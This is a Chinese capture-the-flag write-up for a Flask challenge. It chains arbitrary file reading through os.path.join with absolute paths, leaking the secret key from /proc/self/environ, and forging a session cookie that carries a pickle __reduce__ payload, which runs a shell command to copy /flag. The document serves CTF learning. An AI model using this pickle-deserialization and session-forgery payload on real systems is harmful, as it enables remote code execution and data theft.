文章目录
- 按提示找到源码
- 找到secret key
- 构造反序列化伪造cookie
找源码
这个按题目提示构造/file?file=/app/source即可得到源码
找secret key
审计源码到这发现有一个黑名单过滤,并且有一个路径拼接,看到这里显然可以想到读取任意文件,百度了一下os.path.jpin()函数发现有漏洞
| os.path.join()函数用于路径拼接文件路径。 os.path.join()函数中可以传入多个路径:
会从第一个以”/”开头的参数开始拼接,之前的参数全部丢弃。
以上一种情况为先。在上一种情况确保情况下,若出现”./”开头的参数,会从”./”开头的参数的上一个参数开始拼接。
|
之后直接输路径就行最开始我读的是/etc/passwd,/etc/profile,后来发现都没啥作用,最后才发现还有一个程序的环境变量/proc文件夹,对于/proc文件的解释如下
| /proc文件系统下的多种文件提供的系统信息不是针对某个特定进程的,而是能够在整个系统范围的上下文中使用。可以使用的文件随系统 配置的变化而变化。命令procinfo能够显示基于其中某些文件的多种系统信息。以下详细描述/proc下的文件。
/proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和 应用程序可以通过 proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取pr oc文件时,proc文件系统是 动态从系统内核读出所需信息并提交的。
|
最后读/proc/self/environ可得到secret key
构造反序列化伪造cookie
直接将代码复制下来改一下user类本地跑一下session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import os import pickle
from base64 import b64decode from flask import Flask, request, render_template, session
app = Flask(__name__) app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
class User: uname = 'aaa' is_admin = 1 __repr__: lambda o: o.uname def __reduce__(self): return (eval, ("__import__('os').popen('echo `cat /flag` > /tmp/111').read()",))
@app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js"
@app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed'
with open(path, 'r') as fp: content = fp.read() return content
@app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?'
if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?'
if __name__ == '__main__': app.run('127.0.0.1', port=8000, debug=False)
|
将session复制到原环境即可,正常成功的话再访问/admin应该返回500
总结一下:主要考点在于对flask的session机制的了解,对session伪造的掌握,还有要知道secrey key一般存放在环境变量的哪个文件夹,以及对python反序列化攻击的掌握.